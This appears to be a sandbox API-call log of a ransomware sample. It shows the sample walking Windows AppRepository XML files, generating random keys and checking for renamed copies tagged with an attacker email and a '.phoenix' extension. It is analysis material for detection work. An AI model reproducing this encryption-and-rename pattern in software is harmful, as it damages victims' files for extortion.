	[0251.033] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.033] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.034] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8199) returned 1
	[0251.034] CloseHandle (hObject=0x2d4) returned 1
	[0251.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.034] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.034] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16621) returned 1
	[0251.034] CloseHandle (hObject=0x2d4) returned 1
	[0251.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.035] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.035] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=837) returned 1
	[0251.035] CloseHandle (hObject=0x2d4) returned 1
	[0251.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.035] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.035] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18199) returned 1
	[0251.035] CloseHandle (hObject=0x2d4) returned 1
	[0251.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.036] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.036] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=839) returned 1
	[0251.036] CloseHandle (hObject=0x2d4) returned 1
	[0251.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.036] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.036] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.037] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=839) returned 1
	[0251.037] CloseHandle (hObject=0x2d4) returned 1
	[0251.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.037] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.037] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15105) returned 1
	[0251.037] CloseHandle (hObject=0x2d4) returned 1
	[0251.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.038] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.038] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.038] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10931) returned 1
	[0251.038] CloseHandle (hObject=0x2d4) returned 1
	[0251.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.039] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.039] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.039] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.039] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=5353) returned 1
	[0251.039] CloseHandle (hObject=0x2d4) returned 1
	[0251.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.040] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsphone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.040] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.040] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=847) returned 1
	[0251.040] CloseHandle (hObject=0x2d4) returned 1
	[0251.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.040] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.040] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.040] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.041] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=847) returned 1
	[0251.041] CloseHandle (hObject=0x2d4) returned 1
	[0251.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.041] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.041] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.041] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.041] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=9322) returned 1
	[0251.041] CloseHandle (hObject=0x2d4) returned 1
	[0251.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.041] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_10.1702.301.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.042] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.042] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.042] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18415) returned 1
	[0251.042] CloseHandle (hObject=0x2d4) returned 1
	[0251.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
